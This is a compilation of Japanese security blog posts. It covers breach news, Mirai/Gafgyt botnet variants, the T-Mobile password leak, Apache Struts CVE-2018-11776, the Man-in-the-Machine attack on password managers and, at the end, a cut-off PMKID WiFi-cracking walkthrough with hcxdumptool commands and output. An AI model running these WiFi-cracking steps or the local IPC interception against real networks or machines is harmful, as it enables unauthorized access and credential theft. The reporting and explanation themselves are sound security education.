セキュリティニュース（7月8日）

ヘッダ画像

Illustration credit: www.Vecteezy.com

1. セキュリティインシデント

ALTAデータ侵害

米国土地所有権協会（ALTA）は、フィッシング攻撃の被害に遭った事実を公表。

この攻撃によってさまざまな保険会社など、同協会に関連する組織のユーザー名とパスワードが漏洩しました。

攻撃者は、ターゲットに「Changes & Updates to Member Directory（会員一覧の変更と更新）」という件名を使ってフィッシングメールを送信したとされています。

ALTAは、タイトルおよび決済会社の従業員にパスワードの変更を早急に実施するよう求めているようです。

GitHubアカウント情報漏えい

Canonical Ltd.は、2019年7月6日に同社の管理するGitHubアカウントがハッキングの被害に遭ったことを公表しました。

ハッキング被害に遭った事でGitHubアカウントの認証情報が漏洩し、同アカウント内に新たなレポジトリが作成されました。

攻撃者は、CanonicalのGitHubアカウント上に新たに11件ものリポジトリを作成したと報告されています。

Canonicalは発見次第、GitHubから侵入先のアカウントを削除しました。

LaPorte郡（インディアナ州）がマルウェアの攻撃被害

ラポート郡は、2019年7月6日にマルウェア攻撃の被害に遭ったとされています。

その結果、これにより、郡のコンピュータおよび電子メールシステムは無効になりました。同郡はFBIおよび他の法執行機関に攻撃について通報しました。

2. Malware

大規模なMagecartキャンペーン

たった1日に962のECサイトが侵害される大規模なカードスキミングキャンペーンが注目を集めています。

被害に遭ったECサイトは、Magecartのスキミングコードに感染しているとされています

これは、Magentoベースのプラットフォームでこれまで行われてきた自動Magecartキャンペーンの一つとされています。

攻撃者は細工したコードを実行し、名前、電話番号、顧客の住所などの支払い情報を収集するために攻撃者によって使用されています。

SilentTrinityエクスプロイトツール

SilentTrinityとして知られるエクスプロイトツールが、クロアチアの政府機関に対する一連のサイバー攻撃を仕掛けるために使用されました。

SilentTrinityは感染したコンピュータを制御し、攻撃者が任意のコマンドを実行することを可能にするマルウェアで、主な感染経路は標的型メール攻撃とされています。

Golangマルウェア

Golangで書かれたマルウェアを配布するクリプトマイニング攻撃が発生しました。

このキャンペーンの背後にいる攻撃者は、pastebin.comを悪用して先駆者のbashスクリプトをホストし、侵入先の中国の電子商取引Webサイトにマルウェアを保存しているとされています。

3.脆弱性情報

BlueKeepの脆弱性に対する懸念が高まる

ニュージーランドのCyber​​ Security CenterとMicrosoftは、BlueKeepの脆弱性を受けて、ユーザーに対してOSを直ちにアップデートするようにユーザーに対して通知。

当該脆弱性は約100万のWindowsシステムに影響を及ぼし、2017 WannaCry攻撃に似た攻撃を仕掛けるために使用される可能性があるとされています。

v0.0.7のRubyライブラリの脆弱性

ある研究者が、「strong_password」v.0.0.7 Rubyライブラリに関する深刻な脆弱性を発見しました。

この脆弱性を突くと、攻撃者は実稼働システムに配置されたときにコードにマルウェアを挿入することが可能となり、システムを制御する可能性があるバックドアを注入することができるようです。

Ciscoがパッチをリリース

Ciscoはネットワーキングおよび通信機器に影響を与える18の脆弱性に対処する17のセキュリティアップデートをリリースしました。

そのうち、緊急度の高い脆弱性として分類されるものは10個あります。それら脆弱性を突くとにより、攻撃車によって細工されたコードが実行され、サービス拒否状態に陥るリスクがあるとされています。

4.詐欺

グリフィン市（ジョージア州）がBEC被害に

グリフィン市は大規模なBEC攻撃で80万ドル以上の金銭被害に遭いました。

グリフィン市の水処理施設を運営するPF Moonという会社を発信元として詐称した標的型メールを同市の財務部に送信したとされています。

BEC被害はPF Moonがグリフィン市に連絡を取ったことで発覚したようです。

Calibraフィッシング詐欺

Facebookが発行するLibraとLibraを保管するためのウォレットであるCalibraを利用した新しいフィッシング詐欺が最近注目されています。

悪意のある第三者は、Libraと財布の両方の正当なWebサイトであるかのように装ったWebサイトを公開し、公式のLibraウェブサイトと同じ外観をしているようです。

当該サイトには、暗号通貨に関する正式なホワイトペーパーへのリンクや、その他の公式のLibra Webサイトへのリンクも含まれているとされています。

 

MiraiとGafgytの新たなバージョンを発見 (PaloAlto社)

ボットネット

f:id:anoymask:20180911005341j:plain

Vector Graphics by vecteezy.com

researchcenter.paloaltonetworks.com

 

PaloAlto社のセキュリティ研究者は、IoT Botとして有名な Mirai と Gafgyt に新たなバージョンがある事を発見しました。

MiraiとGafgytは、両方とも世界的に拡大しているボットネットであり、このブログでも取り上げました。

本記事では、PaloAlto社が指摘した「MiraiやGafgytそれぞれに追加された機能」の概要を解説します。

 

本記事のサマリー

  • 新しいバージョンのMiraiが、2017年に起きたアメリカの信用情報機関大手のEquifaxの情報漏えい事件で使われたApache Struts(CVE-2017-5638)の脆弱性を利用している。
  • 新しいバージョンのGafgytが、新しく見つかったサポート切れのSonicWall社のGlobal Management System (GMS)を狙った脆弱性を利用している。
  • MiraiとGafgytの両IoT Botが古い企業向けのIoTデバイスを狙う。

 

Miraiの新バージョン

f:id:anoymask:20180911005940p:plain

(CVE-2017-5638 Exploit Format。Multi-exploit IoT/Linux Botnets Mirai and Gafgyt Target Apache Struts, SonicWallより)

Miraiの新バージョンは、2018年9月7日にUnit42(PaloAltoの研究チーム）により発見されました。

発見されたMiraiの新バージョンは、今までのバージョンと比べて2点異なるようです。

1点目は、今までMiraiが標的としていなかった脆弱性が狙われた点です。

脆弱性とは、Equifaxの情報漏えい事件で使われたApache Struts(CVE-2017-5638)の脆弱性です。

２点目は、ブルートフォース機能を備えていない点です。

今回発見されたMiraiは、C2サーバとしてはl[.]ocalhost[.]host:47883を利用し、暗号スキームとして0xdeadf00dしているとされています。

Gafgytの新バージョン

続いて、Gafgytの新バージョンに関する説明に移ります。

Gafgytの新バージョンは、IPアドレスは違うもののMiraiと同じドメイン（l[.]ocalhost[.]host）をC2サーバとして2018年8月まで使っていたのです。

また、PaloAlto社の研究者チーム「Unit42」がC2サーバで発見したGafgytを解析した結果、最近発見されたサポート切れのSonicWall（8.1以前)を狙った脆弱性(CVE-2018-9866) を使用していたとされています。

更に、PaloAlto社によるとGafgytはMetasplotでSonicWallのExploitが公開されてから、一週間足らずの2018年8月5日に発見されました。（SonicWallの脆弱性自体は、2018年7月17日に公表されています。）

Gafgytは、Miraiと全く別のコードをベースとしており、以下のようなコマンドを使用します。

f:id:anoymask:20180911000205p:plain

(Gafgytで使用されるコマンド例。Multi-exploit IoT/Linux Botnets Mirai and Gafgyt Target Apache Struts, SonicWallより)

まとめ

PaloAlto社が公開した記事では、IoT/Linux BotがApache StrutsやSonicWallといった脆弱性を狙い始めたことから、「標的が個人ではなく企業にシフトしてきている可能性がある」と述べています。

本記事では概要説明に留めましたが、PaloAlto社の記事では、今回紹介出来なかったMiraiが利用する他15種類の脆弱性等についてより詳しく書かれています。

もっと詳しく知りたい方は、是非一読していただければと思います。

記事 を読む

 

【参考】

 Equifaxの情報流出、「Apache Struts」の脆弱性に起因--パッチ適用怠る？ - ZDNet Japan

更新：Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045)(S2-046)：IPA 独立行政法人 情報処理推進機構

SonicWall Security Advisory

Product Lifecycle Table | Support | SonicWall

 

（執筆：Anoymask (@UXYEA) | Twitter）

T-Mobile ハッキング被害により200万人分の顧客情報流失

情報漏えい・インシデント

f:id:nanashi0x:20180826181916j:plain

 

motherboard.vice.com

 

アメリカの通信事業者であるT-Mobileの顧客情報が、何者かにAPIを悪用され漏洩してしまいました。

Motherboardの記事によれば、今回被害に遭った顧客情報は、なんと約200万件のようです。

このインシデントは、T-Mobileにより迅速な対応が取られましたが、実はT-Mobileが行った当初の発表では「パスワードが漏えいした事実」が隠蔽されていました。

そこで、この記事では、「①何故パスワードの漏えいが隠蔽されたのか」、「②今回のようなことが起きないためにはどうすべきだったのか」を以下の流れで解説していきます。

  1. T-Mobileによるプレスリリース内容の振り返り
  2. パスワード漏えいの隠蔽に関する事実
  3. T-Mobileインシデントの教訓

T-Mobileのプレスリリース内容の振り返り

本セクションでは、「プレスリリースでインシデントについてどのように公表されていたのか」を解説していきます。

T-Mobileは、今回のインシデントに関して8月23日（アメリカ時間）に公式HPで顧客向けにプレスリリースを公開しました。

T-Mobileによるプレスリリースに記載された情報は、以下の５種類の情報となります。

  • インシデントが発覚した経緯
  • 顧客の問い合わせ先
  • 漏えいした情報に関して
  • 顧客が取るべき対応について
  • T-Mobileによる再発防止策

（なお、「問い合わせ先」については本記事を執筆するにあたって重要でない情報であることから省略します。）

インシデントが発覚した経緯

プレリリースによると、T-Mobileのセキュリティチームが8月20日に顧客情報への不正アクセスを検知、遮断をしたようです。

また、同日に情報漏えいがあったことを関係当局に報告しました。

漏えいした情報について

今回漏えいした情報は以下の通りです。

  • 顧客名
  • 郵便番号
  • 電話番号
  • メールアドレス
  • アカウント番号
  • 支払方法（事前払い又は事後払い）

“不幸中の幸い”とも言えるのか、クレジットカード情報やソーシャルセキュリティーナンバー（≒日本でいうマイナンバーにあたるもの）は漏えいした情報に含まれていませんでした。

また、この時点の公表では、「パスワードの漏えいは発生していない」とされていました。

顧客が取るべき対応

次にT-Mobileのプレスリリースでは、「今回のインシデントによって個人情報が漏えいしてしまった被害者」と、「幸いにも情報が守られたユーザー」の両方に対して、インシデント後にどのように対応すべきかを説明しています。

T-Mobileは、二種類の顧客に対して「何か質問があれば指定した問い合わせ先まで問い合わせして欲しい」とプレスリリースで対応を促しています。

またT-Mobileは、個人情報が漏えいした被害者に対しては、「念のためパスワードを変更すること」を推奨しているようです。

再発防止策

プレスリリースには、具体的な再発防止策は記載はありません。

ですが、その代わりに、セキュリティ対策が記載されている以下のサイトを読むように促しています。

Privacy Policy & Personal Information | T-Mobile

Privacy Center | Privacy Statements, Controls, Fraud & Spam

パスワード漏えいの隠蔽

当初行われたT-Mobileのインシデントに関するプレスリリースでは「（今回のインシデントの影響て）パスワードは漏えいしていない」と言い切っていました。

以下は、プレスリリースの抜粋です。

 No financial data (including credit card information) or social security numbers were involved, and no passwords were compromised. 

しかし、Motherboardが今回のインシデントについて記事を公開した後にMotherboardの記者に対してT-Mobileの広報より「暗号化されたパスワードも漏えいしていた」と話があったようです。

一体何故、T-Mobileは当初のプレスリリースでは漏えいしていないと言い切っていたのでしょうか？

公式見解と広報による回答に矛盾がある事について、Motherboardの記者がT-Mobileの広報に詰め寄った結果、以下のような回答が返ってきたようです。

パスワードは漏えいしていません。なぜなら、パスワードは暗号化されていたからです。

パスワードの暗号化方式またはハッシュアルゴリズムについても質問はしたようですが、回答は拒否されたとMotherboardの記者は記述しています。

セキュリティリサーチャーによるさらなる追求

一方、Motherboardがこのニュースを公開してから数時間後、セキュリティリサーチャーのNicholas Ceraolo氏は「T-Mobileから漏えいした情報はT-Mobileのプレスリリースで示された範囲以上の個人情報だった」と主張しました。

さらにCeraolo氏はMotherboardの記者に対してT-Mobileから漏えいしたパスワードのサンプルを共有。実はCeraolo氏は、ハッキングに関わっておらず、とある知人からサンプルを入手したのでした。

その後Motherboardは、Ceraolo氏から受け取ったパスワードリストを専門家に解析依頼。

実は漏えいしたパスワードは強度の弱いMD5でハッシュ化されている可能性が高い事が明らかになりました。

実はMD5は、ブルートフォース攻撃により解読される可能性がある事から、パスワードの暗号化手段としては不適切とされています。

教訓

今回のインシデントから学べる点は、以下の２つです。

  • 正確な情報を公表すること
  • 強度の弱いハッシュアルゴリズムを使用しないこと 

以下、それぞれ見ていきましょう。

1. 正確な情報を公表すること

T-Mobileがパスワードの漏えいを隠蔽したことは、企業の対応として間違っていたのではないでしょうか。

インシデントに関して不確実な情報を公表することは、顧客の混乱を招く事に繋がるので避けるべきだと思います。

しかし、パスワードが漏えいしていたことが確実であれば、たとえ強度の高いハッシュアルゴリズムでハッシュ化されていたとしても公表すべきだったと筆者は考えています。

2. 強度の弱いハッシュアルゴリズムを使用しないこと

すでに強度が弱いことが指摘され、暗号化方式として推奨されていないMD5のハッシュアルゴリズムを使用すべきではありませんでした。

勿論、情報漏えいしないようにすべきですが、そもそもセキュリティインシデントによる情報漏洩を100％防ぐ事は不可能です。

そのため、パスワードの暗号化手段としては手段としてはMD5より強度の高いハッシュアルゴリズムを使用すべきであり、漏えいしたとしても暗号の解読の難易度を上げる目的で、ハッシュ化に併せてソルトやストレッチングも考慮すべきだったのではないでしょうか。

まとめ

この記事では以下の点について解説を行ってきました。

  • T-Mobileのプレスリリースの内容
  • プレスリリースと広報による回答に存在した矛盾
  • T-Mobileのインシデントから得られる教訓

 

今年起きたアンダーアーマーのインシデントもそうですが、脆弱なハッシュアルゴリズムを使用していたことによってパスワードが漏えいしてしまった事例は他にも起きています。

日本では、インシデントが発生してしまったとしても、きちんとした対応が取れた企業を表彰する『情報セキュリティ事故対応アワード』というイベントがあります。

情報セキュリティ事故対応アワードの審査員になっている、辻 伸弘さんの本ではインシデント対応のケーススタディが書かれています。

とても分かりやすく書かれていますので、一読してみてはいかがでしょうか。

 

あなたのセキュリティ対応間違っています[Kindle版]
posted with ヨメレバ
辻 伸弘 日経BP社 2016-10-25
Kindle
Amazon[書籍版]
 
あなたの知らないセキュリティの非常識
posted with ヨメレバ
辻 伸弘 日経BP社 2017-11-24
Amazon
Kindle
 

【参考】

Customer Security

アンダーアーマーの個人情報流出は、防げたはずの問題だった──不適切なセキュリティ対策が浮き彫りに｜WIRED.jp

パスワードはハッシュ化するだけで十分? | NTTデータ

情報セキュリティ事故対応アワード｜2018-03-01｜ITセミナー・製品情報

「第3回情報セキュリティ事故対応アワード」に行ってみた。 #事故対応アワード - にゃんたくのひとりごと

 

記事を読む

（執筆：Anoymask (@UXYEA) | Twitter）

Apache Struts 2に新たな脆弱性”CVE-2018-11776”。遠隔からコード実行の恐れ。

f:id:nanashi0x:20180822233213p:plain

 

Semmleのセキュリティ研究者であるMan Yue Mo氏は、自身が所属するApache Struts Webアプリケーションフレームワークに重要なリモートコード実行脆弱性を公開しました。

この記事では、当該脆弱性を発見したMan Yue Mo氏の記事と、それを解説したTheHackerNewsの記事を参考に、執筆時点（2018/08/22　23時37分）で分かっている情報を簡単に記載します。

海外の人たちがそろそろ起き始めて、PoCを公開し始めると思いますので、なにか分かり次第こちらの記事に記載します。

また、日本国内のセキュリティ専門家達におかれましては、更なるリサーチの足がかりとして役に立てば幸いです。 

忙しい人向けの簡単まとめ

  • 悪意を持った攻撃者が脆弱なStruts 2を動かしているApacheサーバー上で悪質なコードを遠隔から実行する可能性がある（RCE = Remote Code Execution）
  • 脆弱なStrutsのバージョンは2.3〜2.3.34、及びStruts 2.5〜Struts 2.5.16
  • 発生条件は「①．alwaysSelectFullNamespaceフラグが、Struts設定ではtrueに設定されている」又は「②．Struts設定ファイルに、オプションのnamespace属性を指定しないか、ワイルドカードネームスペースを指定する "action"タグまたは "url"タグが含まれてる」
  • Apache Strutsは、Strutsバージョン2.3.35および2.5.17のリリースでこの脆弱性を修正を公開済。

発見された脆弱性（CVE-2018-11776）について

当脆弱性（CVE-2018-11776）は、Apache Strutsのコアにあり、任意の条件が揃った状態でStrutsフレームワークのコアでユーザーが提供する信頼できない入力の検証が不十分なために発生する。

脆弱となる条件

次の条件を満たす場合、脆弱であるとされる。

  • alwaysSelectFullNamespaceフラグが、Struts設定ではtrueに設定されている
  • Struts設定ファイルに、オプションのnamespace属性を指定しないか、ワイルドカードネームスペースを指定する "action"タグまたは "url"タグが含まれてる

対象となるStrutsのバージョン

Apache Strutsでサポートされている以下のバージョンとなる。

また、上記以外のサポートされていないApache Strutsバージョンを使用するすべてのアプリケーションは、追加のプラグインが有効になっていない場合でも当脆弱性（CVE-2018-11776）の対象となるとされる。

脆弱性をエクスプロイトする事による影響

攻撃者によって細工されたURLを訪問するだけで、当脆弱性（CVE-2018-11776）が引き起こされる。

エクスプロイトに成功すると、攻撃者が悪質なコードを実行し、脆弱なアプリケーションを実行しているターゲットサーバーの制御権を奪うことが出来る。

発見者の懸念事項

Man Yue Mo氏は、自身が属する企業のブログにて以下のように述べている。

アプリケーションが現在脆弱ではないとしてもStruts設定ファイルの意図しない変更に将来アプリケーションが脆弱になる可能性があります。

脆弱性の対応方法

Apache Strutsは、Strutsバージョン2.3.35および2.5.17のリリースでこの脆弱性を修正を公開済なので、Apache Strutsを使用する組織や開発者は、できるだけ早くStrutsのコンポーネントをアップグレードすること。

脆弱性のPoC

 

当脆弱性に関する参考情報（海外メディア）

参考情報（国内メディア、専門機関）

 

Appendix: Apache Struts 2とは

Apache Struts2は、Javaプログラミング言語でWebアプリケーションを開発するためのオープンソースのフレームワークであり、Vodafone、Lockheed Martin、Virgin Atlantic、IRSなどFortune 100企業の65％を含む世界の企業で広く使用されているオープンソース・フレームワークのこと。

更新情報

  • 初稿　（2018/08/22　23:55）
  • 参考情報に海外メディアのリンク追加  （2018/08/23  07:48）
  • 参考情報に国内メディア、専門機関のリンク追加（2018/08/23  12:38）
  • PoC（未検証）のリンクを追加（2018/08/23 12:44）

「Man-in-the-Machine攻撃」ーDEFCON 26で発表された新たな攻撃手法

DEF CON 中間者攻撃

f:id:nanashi0x:20180820202148p:plain

Vector Art by Vecteezy

 

Man-in-the-Machine: Exploiting Ill-Secured Communication Inside the Computer | USENIX

 

Anoymask(@UXYEA）です。

実は先週、DEFCON 26に参加してきました。

the outside of the building

図：DEF CON会場

the lecture

図：DEF CONの講演

 

DEF CONに参加する中で、個人的に興味深いな感じた攻撃手法があったので本ブログで紹介したいと思います。

その攻撃手法とは、「Man-in-the-Machine」です。

中間者攻撃を意味する「Man-in-the-Middle」という攻撃手法はご存知かもしれませんが、「Man-in-the-Machine」という攻撃手法については恐らく知らないと思います。

私もDEFCON 26に参加した時、初めて耳にしましたが、どうやら講演したAalto大学の研究者達が発見し、名前を全く新しい攻撃手法のようです。

そこで、この記事では、冒頭で「Man-in-the-Middle(=MitM)」に少し触れながら「Man-in-the-Machine(=MitMa)」を解説します。その後、上記論文に記載されている攻撃方法の一部を紹介したいと思います。

この記事の目次

  • MitMとMitMaについて
  • MitMaの概要
  • 論文の概要
  • MitMaを使用した攻撃
  • 最後に

 

1．MitMとMitMaについて

このセクションでは、前述した通り中間者攻撃「Man-in-the-Middle(=MitM)」に少し触れながら「Man-in-the-Machine(=MitMa)」を解説します。

MitM（中間者攻撃）とは

MitMとは、一言で説明すると「クライアントとサーバ間の通信を攻撃者が正規通信のフリをして中継し、通信内容を傍受する攻撃手法」です。

図にすると以下のようになります。

f:id:anoymask:20180818140452p:plain

図１　MitM全体図


MitMの攻撃方法としては、DNSの設定を書き換えて攻撃者を中継させるようにする方法や、こちらの記事（Wifiパイナップル）で解説した通り、“攻撃者が用意した”、パスワード無しで接続できる無料Wi-Fiスポットを作成して接続させる方法等があります。

では、MitMすることにより攻撃者は何が出来るようになるのでしょうか？

ここで例示するものは一例ですが、MitMをすることによって、以下の様なことが可能になります。

  • 重要情報の窃取（個人情報、認証情報　等）
  • マルウェアのダウンロード
  • フィッシングサイトへの誘導　

MitMは、攻撃ツール等も容易されており攻撃難易度も高くないため、現在でも多くの攻撃者によって使用される攻撃手法となっています。

具体的に中間者攻撃の方法に関して学びたい場合は、Udemyに中間者攻撃に特化したコース動画があるのでこちらからどうぞ。

＞＞「Learn Man In The Middle Attacks From Scratch」の詳細を見る

MitMaとは

続いてこのセクションでは「Man-in-the-Machine(=MitMa)」について解説していきます。

MitMaとは、一言で説明すると「クライアントとサーバ間の通信を同一ホスト内の別ユーザ（＝攻撃者）が正規ユーザのフリをして通信内容を傍受する攻撃手法」です。

MitMaでは、MitMのように必ずしも通信を中継する必要はなく、最終目標として「他のユーザの通信を乗っ取ること」を目標としています。

 

そのため、主に攻撃のパターンとして以下の2パターンがあります。  

f:id:anoymask:20180818223739p:plain

図２　MitMa全体図

 ※図２では、後述する攻撃手法を説明するためにクライアントをWebブラウザとしています。

 

パターン①は、WebブラウザとPC内のサーバとの通信を、攻撃者が中継してデータを窃取する例を示しています。

パターン②は、通信お中継はせずに攻撃者がユーザAのブラウザになりすまして、サーバと通信を行いデータを窃取を窃取する例を示しています。

図２のようなMitMaの攻撃方法として、例えばブラウザのパスワードマネージャーのような拡張機能がPC内のサーバと通信を行う際に、攻撃者が中継、又は“なりすまし”をしてデータを窃取するような方法が考えられます。

MitMaの前提条件

MitMaは同一ホスト内で攻撃が完結するため、攻撃を成功させるためには以下のような前提条件があります。

したがって、MitMaは、MitMと比べると、攻撃難易度がとても高くなっています。

MitMaで攻撃者が得るもの

MitMaをすることにより攻撃者は、以下の様なことが可能になります。

  • 重要情報の窃取（個人情報、認証情報　等）
  • ハードウェアトークンの窃取（2段階認証、FIDO U2F　等）
  • 不正なコマンドのインジェクション

 MitMaの説明は、後述する実際の攻撃方法でもう少し詳しく解説します。

2．論文の概要

MitMaを用いた実際の攻撃手法について解説する前に、今回記事を執筆するにあたって参考にした論文「Man-in-the-Machine: Exploiting Ill-Secured Communication Inside the Computer」について簡単に説明します。

このセクションでは主に、以下の点を説明します。

攻撃者

論文内で著者は、攻撃者として以下のユーザを想定していました。

  • 仕事の同僚
  • 家族
  • コンソールアクセスによるゲストユーザ

上記したような人たちが攻撃者として想定される理由は、「MitMaをするためには標的ホストを操作出来ることが前提条件」だからです。

攻撃方法

論文では、攻撃方法としてプロセス間通信（＝IPC通信）と呼ばれる内部プロセスとのコミュニケーションチャンネルを中継して攻撃する方法にフォーカスしています。

プロセス間通信という言葉を初めて聞いたのではないかと思うので、簡単に説明します。

ソフトウェアは、UIなどの操作を担うフロントエンドのアプリケーションとバックエンドのデータベースで分かれているものが多く存在します。

この間の通信を行うものが、プロセス間通信と呼ばれるものです。

※本記事では、プロセス間通信については記事が長くなるため上記説明のみとさせていただきます。

対象OS

f:id:anoymask:20180818161125p:plain

表１　OSごとの攻撃方法

対象となるOSは、macOS、Windows、Linuxが対象となります。

論文内では、macOS High Sierra、Windows 7、Windows 8.1でMitMaを試したと記載されています。

ケーススタディ

論文では、ケーススタディとして主に以下の３つをあげています。

  1. パスワードマネージャー
  2. ハードウェアトークン
  3. HTTP APIを使ったバックエンドとの通信

なお、本記事では私にとって特に印象的だった「1.パスワードマネージャー」を用いたMitMaのみ説明する事とします。

「2.ハードウェアトークン」「3.HTTP APIを使ったバックエンドとの通信」のそれぞれのケースに関しても詳細を知りたい場合は、原文を参考にしてください。

 

3．MitMaを使用した攻撃

それでは、実際にMitMaに脆弱なパスワードマネージャーに対する攻撃方法を見ていきましょう。

さっそくですが、以下にOSやバージョンごとの脆弱なパスワードマネージャーの表を示します。

f:id:anoymask:20180818170819p:plain

表2　MitMaの影響を受けるパスワードマネージャー

論文では、表２に示されている６つのパスワードマネージャーの調査結果が示されていました。
結果は、表2を見て分かる通り、どのパスワードマネージャーも何かしらのOSで脆弱でした。

パスワードマネージャーにも数種類ありますが、基本的な仕様は一緒ですので、本記事では「RoboForm」と「Password Boss」のみの説明する事とします。（原文ではそれぞれのパスワードマネージャーごとに攻撃方法が記載されていますので興味があれば読んでみてください。）

 

RoboFormの仕様について

RoboFormは、パスワードマネージャーとブラウザの拡張機能との通信をloopbackネットワーク(IPv4: 127[.]0[.]0[.]1/8、IPV6: ::1/8) を使ってHTTPで認証せずに通信しています。

プロトコルはとても単純で、以下のようになっています。(Eは拡張機能、Sはサーバ）

  1. E → S: “list”
  2. E ← S: [item id1,item id2,...,item idn]
  3. E → S: “getdataitem”, item idi
  4. E ← S: itemi

ブラウザの拡張機能は、まず最初にパスワードマネージャーに格納されている全てのアイテムのリスト（=list)をリクエストを送信します。要求する際は、hxxp://127[.]0[.]0[.]1:5472に対してHTTPのPOSTリクエストを送信します。

リクエストを受け取ったサーバは、ブラウザの拡張機能からのリクエストに対してアイテムの識別子(=item id)を返します。この時返される識別子には、タイプ（パスワード、パスワード保護付きメモ等）や名前が含まれています。

続いて、ブラウザの拡張機能は、サーバからの識別子を含んだ応答に対して欲しいデータの識別子を選択(=getdataitem)して再度サーバに対してリクエストを送信します。

最後に、サーバは再度ブラウザの拡張機能から来たリクエストに対して選択された識別子に応じたデータを平文で返します。

上記の通り、RoboFormは認証せずに通信を行います。そのため、MitMaを行う攻撃者はブラウザの拡張機能のフリをして、hxxp://127[.]0[.]0[.]1:5472にリクエストを送信します。

その後は、先ほど説明した手順に従って通信を行うことで好きなデータを窃取することが可能になるのです。

 

Password Boss

続いてPassword Bossに関してみていきましょう。

Password Bossは、Native messageとプロセス間通信の一種である名前付きパイプ(下図のApplication-specifc IPC)というものを使用して通信を行います。 

f:id:anoymask:20180818232213p:plain

 (Native messageでの通信。Man-in-the-Machine: Exploiting Ill-Secured Communication Inside the Computer

より)

Poword Bossの通信は、Native password manager app(以下、Native appと表記）を起動すると、「名前付けパイプ」を、あらかじめ決められた命名規則に従い、最大50のインスタンスを作成します。

その後、名前付けパイプのアクセスコントロールリストはAuthenticatied users(≒ローカルユーザ）に生成したインスタンスのreadとwrite権限を付与します。

最後に、Native messaging hostが名前付けパイプに接続してWebブラウザの拡張機能とNative appのMessageを中継します。この際Messageは平文で送られており、認証等も特に行われません。

 

攻撃方法

最初に攻撃者は、正規のNative messaging hostになりすまして、Native appが生成した名前付けパイプのインスタンスに接続します。

その後、攻撃者は出来る限り多くの名前付きパイプのインスタンスを作成します。

なぜなら、インスタンスを大量に作成することにより、正規のNative messaging hostは攻撃者が用意した名前付きパイプのインスタンスにしか接続出来なくなるのです。

上記の方法により、攻撃者はMessageを中継することによりMessageを傍受することが可能になります。

前提として、Authenticatied userの権限もつローカルユーザーであれば、MitMaをすることが可能となります。論文では、ゲストユーザーアカウントを使用した攻撃方法も書いてありますので、興味があれば原文を読んでみてください。

まとめ

  • MitMとは、「クライアントとサーバ間の通信を攻撃者が正規通信のフリをして中継し、通信内容を傍受する攻撃手法」のこと
  • MitMaとは、「クライアントとサーバ間の通信を同一ホスト内の別ユーザ（＝攻撃者）が正規ユーザのフリをして通信内容を傍受する攻撃手法」のこと
  • MitMaの攻撃ケースは、「１．パスワードマネージャー」「２．ハードウェアトークン」「３．HTTP APIを使ったバックエンドとの通信」の３つ 

最後に

論文内で、Aalto大学の研究者達は、「外部からの攻撃に対しては対策が十分に考えられているのに、内部からの攻撃についてはセキュリティについてあまり考慮されていない」と非難しています。

実際に前のセクションで攻撃手法のケーススタディと共に紹介した「RoboForm」や「Password Boss」のように、対策が不十分なソフトウェアが数多く存在します。

確かに内部からの攻撃は、物理的なアクセスが出来ることやSSHやリモートデスクトップ等で侵入出来ていることが前提となるため、攻撃難易度がとても高いです。

しかし攻撃される可能性はゼロではないですし、多層防御のことを考えると、これからは考慮されるべきではないでしょうか。

本記事で紹介した内容は、「Man-in-the-Machine: Exploiting Ill-Secured Communication Inside the Computer」のほんの一部だけです。

論文内では、本記事の倍以上の情報が記載されているため、是非気になる部分だけでも読んでMitMaについて学んでみて下さい。

 

 

【参考】

名前付きパイプ - Wikipedia

方法: ネットワークのプロセス間通信で名前付きパイプを使用する | Microsoft Docs

名前付きパイプによるプロセス間通信をやってみる - Ayumu's I/O

Native messaging - Mozilla | MDN

 

論文を読む

（執筆：Anoymask (@UXYEA) | Twitter）

PMKIDを悪用するWiFiハッキング手法を発見。

WiFi 脆弱性

f:id:nanashi0x:20180808204658p:plain

Illustrations by Vecteezy.com

 

WPA/WPA2を対象とした、最新のWiFiハッキング技術が明らかになりました。

ハッカーが最新のルーターのWiFiパスワードを簡単に解読できるようにするものです。

この記事では、新たに発見されたWiFiハッキング手法に関して、簡単に解説していきます。

 

新たに発見されたWiFiハッキング手法の概要

誰が発見したのか？

この界隈では有名なパスワードクラッキングツールであるHashcatの開発者、Jens 'Atom' Steve氏が発見しました。

どのようなWiFiハッキングなのか？

発見されたWiFiハックは、Pairwise Master Key Identifier（PMKID）ベースのローミング機能を有効にしたWPA/WPA2ワイヤレスネットワークプロトコルが対象となります。

このWiFiハッキングに成功したらどうなるのか？

新たに発見されたWiFiハッキング方法を悪用すれば、攻撃者はPre-shared Key（PSK）ログインパスワードを回復し、Wi-Fiネットワークをハックしてインターネット通信を盗聴する可能性があります。

このWiFiハッキングを成立させるための条件は？

新しい攻撃は、アクセスポイントから要求を出した後、単一のEAPOL（Extensible Authentication Protocol over LAN）フレームを使用するRSN IE（ロバストセキュリティネットワークの情報要素）上で行われます。

ちなみに、ロバストセキュリティネットワークとは、802.11ワイヤレスネットワーク上で安全な通信を確立するためのプロトコルの事です。

クライアントとアクセスポイント間の接続を確立するために必要な鍵であるPMKIDをその機能の1つとして実装されています。

このWiFiハッキングの対象となるルーターは？

新しいWiFiハックは、ローミング機能が有効になっているネットワークに対してのみ動作します。

追記（2018年8月9日）：

WiFiルーターのローミング機能とは、自動で別のアクセスポイントに切り替わる機能の事です。

例えば、手元のスマホが接続済のα社製のアクセスポイントAが設置されている部屋から、別の部屋に移動したケースを考えてみます。

別の部屋にはα社製のアクセスポイントBが設置されており、アクセスポイントAからのWiFiシグナルは届きません。

その場合、自動で手元のスマホがアクセスポイントBへ接続し直します。これがローミング機能です。

現状、出回っているほとんどのルーターがローミング機能を搭載しており、デフォルトで有効になっている事が殆どです。

そのため、ほぼ全てのルーターがこの脆弱性の対象という事になってしまいます。

（HackMonger (@smokyjp)さん、ご指摘ありがとうございました！）

 

WiFiハッキングの手順

続いてこのセクションでは、今回新たに発見されたWiFiハッキングの手順を解説していきます。

WiFiハッキングを行うために必要なツール

尚、このWiFiハッキング手法を行うために必要なツールは、以下の3つです。

WiFiハッキングの手順

１．PMKIDを要求

攻撃者は、hcxdumptool（v4.2.0以上）などのツールを使用して、ターゲットアクセスポイントからPMKIDを要求し、受信したフレームをファイルにダンプします。

入力コード
$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
 
アウトプット
start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
